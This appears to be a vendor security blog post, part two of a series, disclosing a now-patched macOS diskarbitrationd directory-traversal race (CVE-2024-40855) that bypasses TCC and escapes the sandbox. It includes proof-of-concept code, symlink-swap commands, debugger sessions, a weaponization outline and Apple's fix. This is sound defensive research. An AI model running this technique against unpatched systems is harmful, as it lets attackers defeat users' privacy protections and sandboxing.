Skip to content
uncovering apple vulnerabilities: diskarbitrationd and storagekitd audit part 2
Blog Threat Intelligence Uncovering...

Uncovering Apple Vulnerabilities: diskarbitrationd and storagekitd Audit Part 2

Csaba Fitzl Csaba Fitzl
Principal macOS Security Researcher
33 min read

Kandji's Threat Research team recently performed an audit on the macOS diskarbitrationd and storagekitd system daemons, uncovering several vulnerabilities. Our team reported all of them to Apple through their responsible disclosure program, and as these are fixed now, we are releasing the details in this blog series - this is part two.

In part one we covered a vulnerability which impacted the diskarbitrationd system daemon and allowed attacks to either escape the sandbox or escalate our privileges through user file systems.

In this second part, we will review a vulnerability (CVE-2024-40855) which allows someone to escape the sandbox and also fully bypass TCC by being able to mount over the user's TCC directory. This was possible by performing a directory traversal attack on diskarbitrationd.

The Vulnerability

diskarbitrationd is a very powerful process. It runs as root, reachable from the sandbox and also has the com.apple.private.security.storage-exempt.heritable entitlement which kinda grants it Full Disk Access rights. As such, it must perform checks to ensure someone can't escape the sandbox or elevate to root.

The sandbox verification not only ensures that someone can't escape the sandbox, but also that someone can't mount over TCC protected directories. Privilege elevation is handled differently.

The sandbox verification and insurance that someone can't bypass those checks with symbolic links relies on three items:

  1. When the client passes the mount point to the service, there is a path resolution happening which ensures that there are no ../ items in the path, thus directory traversal is not possible. It is very important that there are no path resolutions happening after this point. This is crucial to protect against symbolic link attacks, as if a resolution were to happen, it would basically make the last (third) point meaningless.
  2. diskarbitrationd performs a sandbox_check_by_audit_token callout in the code verifying what the calling process can access. Although internally this check will resolve symbolic links, and this check might be bypassable, at later stages, again, the full path containing the link is used.
  3. When the external mount call is happening, it gets the -k option, which will tell the kernel to discard the request if the path contains any symbolic links.

There is a problem concerning the first step. The mount point path resolution happens on the client side inside the DADiskMountWithArgumentsCommon function, which is part of the public DiskArbitration framework; it means it can be avoided, because it's within the calling process. We can entirely skip the framework and call diskarbitrationd directly if we want, entirely bypassing this resolution. The result: we can pass a path to the main service, which contains ../ elements, and thus bypass the sandbox check and later also the symbolic link check. Here is how.

Below shows part of the DADiskMountWithArgumentsCommon function from the DiskArbitration framework.

__private_extern__ void DADiskMountWithArgumentsCommon( DADiskRef disk,
                              CFURLRef            path,
                              DADiskMountOptions  options,
                              DADiskMountCallback callback,
                              void *              context,
                              CFStringRef         arguments[],
                              bool                block )
{
...
   if ( path )
   {
       char * _path;
       _path = ___CFURLCopyFileSystemRepresentation( path );
       if ( _path )
       {
           char name[MAXPATHLEN];
            if ( realpath( _path, name ) )
           {
                path = CFURLCreateFromFileSystemRepresentation( kCFAllocatorDefault, ( void * ) name, strlen( name ), TRUE );
           }
           else
           {
               CFRetain( path );
           }
           free( _path );
       }
       else
       {
           CFRetain( path );
       }
   }
   status = kDAReturnBadArgument;
   if ( disk )
   {
       status = _DAAuthorize( _DADiskGetSession( disk ), _kDAAuthorizeOptionIsOwner, disk, _kDAAuthorizeRightMount );
       if ( status == kDAReturnSuccess )
       {
            status = __DAQueueRequest( _DADiskGetSession( disk ), _kDADiskMount, disk, options, path ? CFURLGetString( path ) : NULL, argument, callback, context, block );
       }
   }
...
}

Here, both the realpath and CFURLCreateFromFileSystemRepresentation function calls will remove any ../ elements. Since this is in the client code, these calls can be avoided if, for example, we implement the framework ourselves.

Below is a simplified drawing that summarizes how mount point path resolutions are handled through the lifecycle of a request.

Exploitation Theory

Here is how we can exploit this at a high level. As an example, we will show we can mount over the user's ~/Library/Application Support/com.apple.TCC directory, which means we can attach a custom TCC.db, and thus fully bypass TCC as we can plant custom TCC rules with a new database.

The process is illustrated in the following diagram.

1. We start by calling the DAMount function with the following path.

/private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC

We need to ensure that the client doesn't resolve this in any means, thus diskarbitrationd will receive the exact same path.

2. When the sandbox_check_by_audit_token check happens inside diskarbitrationd we plant a symbolic link as this:

/private/tmp/starthere -> /private/tmp/1/2/3

And we also create the following directory:

/private/tmp/Users/crab/Library/Application Support/com.apple.TCC

Thus when sandbox_check_by_audit_token resolves the path it will become:

/private/tmp/1/2/3/../../../Users/crab/Library/Application Support/com.apple.TCC

->

/private/tmp/Users/crab/Library/Application Support/com.apple.TCC

This directory will pass the check, because the process can mount over any directory inside /private/tmp/.

3. Once the sandbox check is complete, we delete the symbolic link, and replace it with an empty directory. diskarbitrationd will call the external mount command again with /private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC

However this time starthere is not a symbolic link, but a directory. So the translation will be the following:

/private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC

->

/Users/crab/Library/Application Support/com.apple.TCC

The path doesn't contain any symbolic link, so the kernel will be fine with it; and because the calling process is diskarbitrationd, which has the com.apple.private.security.storage-exempt.heritable entitlement, this will allow us bypassing the MACF Sandbox check in the kernel as well. Since the sandbox check is bypassed, this will work from inside the sandbox as well.

This results in a TCC bypass. To escape the sandbox, we can perform something similar, but mount over, for example, the ~/Library/Preferences directory, and place a custom Terminal preference file to run some command upon opening Terminal. This technique is described further in the first part of this series.

Basically, it's a similar Time Of Check Time Of Use (TOCTOU) bug as the one we showed in part one.

Exploitation - Using a Debugger

In the following section, we will demonstrate the above using a debugger.

Here is a sample code we use for now.

#import <DiskArbitration/DiskArbitration.h>
#import <Foundation/Foundation.h>
int main(void) {
       DASessionRef session = DASessionCreate(kCFAllocatorDefault);
       DADiskRef disk = DADiskCreateFromBSDName(kCFAllocatorDefault, session, "/dev/disk6s1");
       CFDictionaryRef properties;
       CFURLRef diskurl = (__bridge CFURLRef)[NSURL fileURLWithPath:@"/dev/disk6s1"];
       CFURLRef url = (__bridge CFURLRef)[NSURL fileURLWithPath:@"/private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC"];
       DADiskMount(disk, url, kDADiskMountOptionDefault, NULL, NULL);
return 0;
}

This short code will attempt to mount a disc over /private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC. We compile it and start it in lldb and set the following breakpoints.

(lldb) breakpoint list
Current breakpoints:
1: name = 'realpath', locations = 1, resolved = 1, hit count = 0
  1.1: where = libsystem_c.dylib`realpath, address = 0x00000001921de874, resolved, hit count = 0
2: name = 'DADiskMountWithArgumentsCommon', locations = 1, resolved = 1, hit count = 1
  2.1: where = DiskArbitration`DADiskMountWithArgumentsCommon, address = 0x000000019a1bdb48, resolved, hit count = 1
3: address = DiskArbitration[0x0000000188325c1c], locations = 1, resolved = 1, hit count = 1
  3.1: where = DiskArbitration`DADiskMountWithArgumentsCommon + 212, address = 0x000000019a1bdc1c, resolved, hit count = 1
4: name = '__DAQueueRequest', locations = 1, resolved = 1, hit count = 1
  4.1: where = DiskArbitration`__DAQueueRequest, address = 0x000000019a1bcde0, resolved, hit count = 1 

We also attach to diskarbitrationd to show the effect and set a breakpoint on sandbox_check_by_audit_token.

(lldb) breakpoint list
Current breakpoints:
2: name = 'sandbox_check_by_audit_token', locations = 1, resolved = 1, hit count = 4
  2.1: where = libsystem_sandbox.dylib`sandbox_check_by_audit_token, address = 0x000000019d5a61cc, resolved, hit count = 4 

We also prepare a symbolic link and a directory.

ln -s /private/tmp/deep/1/2 /private/tmp/starthere
mkdir -p "/private/tmp/Users/crab/Library/Application Support/com.apple.TCC/"

We start the app and we hit our breakpoint. The path is passed as a CFURLRef in X1 register.

(lldb) run
Process 1591 launched: '/Users/crab/m' (arm64)
Process 1591 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
   frame #0: 0x000000019a1bdb48 DiskArbitration`DADiskMountWithArgumentsCommon
DiskArbitration`DADiskMountWithArgumentsCommon:
->  0x19a1bdb48 <+0>:  pacibsp
   0x19a1bdb4c <+4>:  stp    x28, x27, [sp, #-0x60]!
   0x19a1bdb50 <+8>:  stp    x26, x25, [sp, #0x10]
   0x19a1bdb54 <+12>: stp    x24, x23, [sp, #0x20]
Target 0: (m) stopped.
(lldb) memory read -f p $x1
0x600000024060: 0x01000001fa131911 0x0001cc4fc6001d80 0x0800010060015821 0x0000600000f24000
0x600000024080: 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
(lldb) memory read -f p 0x0000600000f24000
0x600000f24000: 0x01000001fa130589 0x000124d4e900078c 0x2f2f3a656c69665e 0x657461766972702f
0x600000f24020: 0x6174732f706d742f 0x2e2f657265687472 0x2f2e2e2f2e2e2f2e 0x72632f7372657355
(lldb) memory read -f s 0x0000600000f24000+16
0x600000f24010: "^file:///private/tmp/starthere/../../../Users/crab/Library/Application%20Support/com.apple.TCC/"

We read the memory pointed to by X1, and the 4th element will be a pointer to a CFString, which contains the path, which in this case is 0x0000600000f24000. At that memory address with offset 16 (0x10) we can find the actual path represented as a C string. We need to keep track of the 0x0000600000f24000 address. We continue now until we hit __DAQueueRequest.

(lldb) c
Process 1606 resuming
Process 1606 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1
   frame #0: 0x000000019a1bdc1c DiskArbitration`DADiskMountWithArgumentsCommon + 212
DiskArbitration`DADiskMountWithArgumentsCommon:
->  0x19a1bdc1c <+212>: bl     0x19a1c13e8               ; symbol stub for: realpath$DARWIN_EXTSN
   0x19a1bdc20 <+216>: cbz    x0, 0x19a1bdc74           ; <+300>
   0x19a1bdc24 <+220>: adrp   x8, 380009
   0x19a1bdc28 <+224>: ldr    x8, [x8, #0xbd0]
Target 0: (m) stopped.
(lldb) c
Process 1606 resuming
Process 1606 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1
   frame #0: 0x000000019a1bcde0 DiskArbitration`__DAQueueRequest
DiskArbitration`:
->  0x19a1bcde0 <+0>:  pacibsp
   0x19a1bcde4 <+4>:  sub    sp, sp, #0x70
   0x19a1bcde8 <+8>:  stp    x28, x27, [sp, #0x10]
   0x19a1bcdec <+12>: stp    x26, x25, [sp, #0x20]
Target 0: (m) stopped.
(lldb) register read $x4
     x4 = 0x0000600000020000
(lldb) memory read -f p $x4
0x600000020000: 0x01000001fa130589 0x00011f42b500078c 0x2f2f3a656c69664b 0x657461766972702f
0x600000020020: 0x6573552f706d742f 0x2f626172632f7372 0x2f7972617262694c 0x746163696c707041
(lldb) memory read -f s $x4+16
0x600000020010: "Kfile:///private/tmp/Users/crab/Library/Application%20Support/com.apple.TCC/"

It's not important what happens before with the path resolution, __DAQueueRequest will pass the resolved path in the fifth argument (X4 register). The path is passed as a CFString, and if we dump it, we can see that the ../ elements were removed. At this point we replace this resolved string with the unresolved from the previous step.

(lldb) register write $x4 0x0000600000f24000
(lldb) c
Process 1606 resuming

The memory address for the original CFString was 0x0000600000f24000, here we simply put that into the X4 register and then continue.

Now, let's switch to the debugged diskarbitrationd, which hit its breakpoint at sandbox_check_by_audit_token.

(lldb) c
Process 113 resuming
Process 113 stopped
* thread #2, queue = 'DAServer', stop reason = breakpoint 2.1
   frame #0: 0x000000019d5a61cc libsystem_sandbox.dylib`sandbox_check_by_audit_token
libsystem_sandbox.dylib`sandbox_check_by_audit_token:
->  0x19d5a61cc <+0>:  pacibsp
   0x19d5a61d0 <+4>:  sub    sp, sp, #0xb0
   0x19d5a61d4 <+8>:  stp    x20, x19, [sp, #0x90]
   0x19d5a61d8 <+12>: stp    x29, x30, [sp, #0xa0]
Target 0: (diskarbitrationd) stopped.
(lldb) memory read -f p $sp
0x16d4f23a0: 0x000000014ea0cc90 0x000000014de04e70 0x0000000000000000 0x0000000000000000
0x16d4f23c0: 0x0000000000008000 0x000000014e904640 0x0000000000000000 0x000000014ea0b5a0
(lldb) memory read -f s 0x000000014ea0cc90
0x14ea0cc90: "/private/tmp/starthere/../../../Users/crab/Library/Application Support/com.apple.TCC"

The path's address is the first item on the stack. We see that the path has the ../ elements, and we know that it will resolve to /private/tmp/Users/crab/Library/Application%20Support/com.apple.TCC/ thus this check will be passed.

We can see that by hitting finish, and verifying the return value in X0 is 0 means pass.

(lldb) finish
Process 113 stopped
* thread #2, queue = 'DAServer', stop reason = step out
   frame #0: 0x0000000102d7a89c diskarbitrationd`___lldb_unnamed_symbol730 + 872
diskarbitrationd`___lldb_unnamed_symbol730:
->  0x102d7a89c <+872>: mov    w26, #0x9
   0x102d7a8a0 <+876>: movk   w26, #0xf8da, lsl #16
   0x102d7a8a4 <+880>: cbz    w0, 0x102d7aa90           ; <+1372>
   0x102d7a8a8 <+884>: mov    x0, x23
Target 0: (diskarbitrationd) stopped.
(lldb) register read $x0
      x0 = 0x0000000000000000

Now we swap starthere. We delete the symbolic link and create a directory.

crab@see /tmp % rm starthere
crab@see /tmp % mkdir starthere

Then we let diskarbitrationd finish.

If we check the mounted directories we can see that we were successful.

crab@see /tmp % mount

...

/dev/disk6s1 on /Users/crab/Library/Application Support/com.apple.TCC (apfs, local, nodev, nosuid, journaled, noowners, mounted by crab)

Weaponization

To avoid path resolution on the client side we need to reimplement the DADiskMountWithArgumentsCommon function. Since this function is open source, we copied that function and simplified it. This is shown below.

static void MyDADiskMountWithArgumentsCommon( DADiskRef           disk,
                                            CFURLRef            path,
                              int  options,
                              DADiskMountCallback callback,
                              void *              context,
                              CFStringRef         arguments[],
                              bool                block )
{
   DAReturn           status;
   status = kDAReturnBadArgument;
   if ( disk )
   {
        status = MyDAAuthorize( _DADiskGetSession( disk ), _kDAAuthorizeOptionIsOwner, disk, _kDAAuthorizeRightMount );
       if ( status == kDAReturnSuccess )
       {
            status = MyDAQueueRequest( _DADiskGetSession( disk ), _kDADiskMount, disk, options, CFURLGetString(path) , NULL, callback, context, block );
       }
   }
   if ( path )
   {
       CFRelease( path );
   }
}

The original function calls out to __DAAuthorize and ___DAQueueRequest. We need to call these as well, however, they are private symbols to the framework; thus we can call them directly. What we need to do is dynamically load the framework and find these symbols in memory. Once found, we store them in our MyDAAuthorize and MyDAQueueRequest function pointer variables, and then we can call them. (This process is not shown here as it's a rather complex and long code which does this.) Eventually, we call DAQueueRequest without resolving the path.

Now that we can call diskarbitrationd as we need, we only need to win the race condition, thus we will swap the directory and the symbolic link in an infinite loop and repeat until we succeed.

To escape the sandbox we plant a Terminal preferences file, and to bypass TCC, we drop a new custom TCC database.

Apple's Fix

Apple fixed the vulnerability in macOS Sequoia 15.0. The patch is doing two important things, which will also play an important role in fixing another vulnerability. We will present this later in the third and final part of this series.

The first part of the fix is shown below.

if ( mntpath )
{
   if ( ( _argument1 & kDADiskMountOptionNoFollow ) == 0 )
   {
        if ( realpath( mntpath, path ) )
       {
            CFTypeRef mountpath = CFURLCreateFromFileSystemRepresentation( kCFAllocatorDefault, ( void * ) path, strlen( path ), TRUE );
           if ( mountpath )
           {
                DARequestSetArgument2( request, CFURLGetString( mountpath ) );
               CFRelease ( mountpath );
           }
       }
       else
       {
           status = kDAReturnBadArgument;
       }
   }
}

Now the path resolution doesn't happen on the client side, (not shown,) but at diskarbitrationd, (shown above,) when the request comes in. This eliminates the issue of the attacker supplying a path with ../ elements. This code path also ensures that the framework will behave exactly the same as before for normal callers. However, this path resolution is only done if the argument kDADiskMountOptionNoFollow is not supplied.

This would mean that we can still perform our original attack if we pass kDADiskMountOptionNoFollow. This is where the second part of the fix comes in, which is the modified sandbox_check_by_audit_token.

status = sandbox_check_by_audit_token(_token, "file-mount", SANDBOX_FILTER_PATH | SANDBOX_CHECK_ALLOW_APPROVAL | SANDBOX_CHECK_CANONICAL, path);

Now the check gets an extra option, SANDBOX_CHECK_CANONICAL. Now if the path contains either a symbolic link, or a directory traversal element, the sandbox check will always fail, thus effectively stopping our attack at a very early stage.

The fix is summarized in the following drawing.

The reason we have the second code path, and we don't do a resolution every single time, will become clear in the third part of this series.

Conclusion

In the second part of our diskarbitrationd audit series, we covered how a directory traversal vulnerability impacted the daemon, which allowed attackers to escape the sandbox and bypass TCC. Apple fixed the vulnerability by moving path resolution to the daemon side, thus the client can't inject an arbitrary path into the daemon anymore, as well as by improving the sandbox check part to handle another call flow.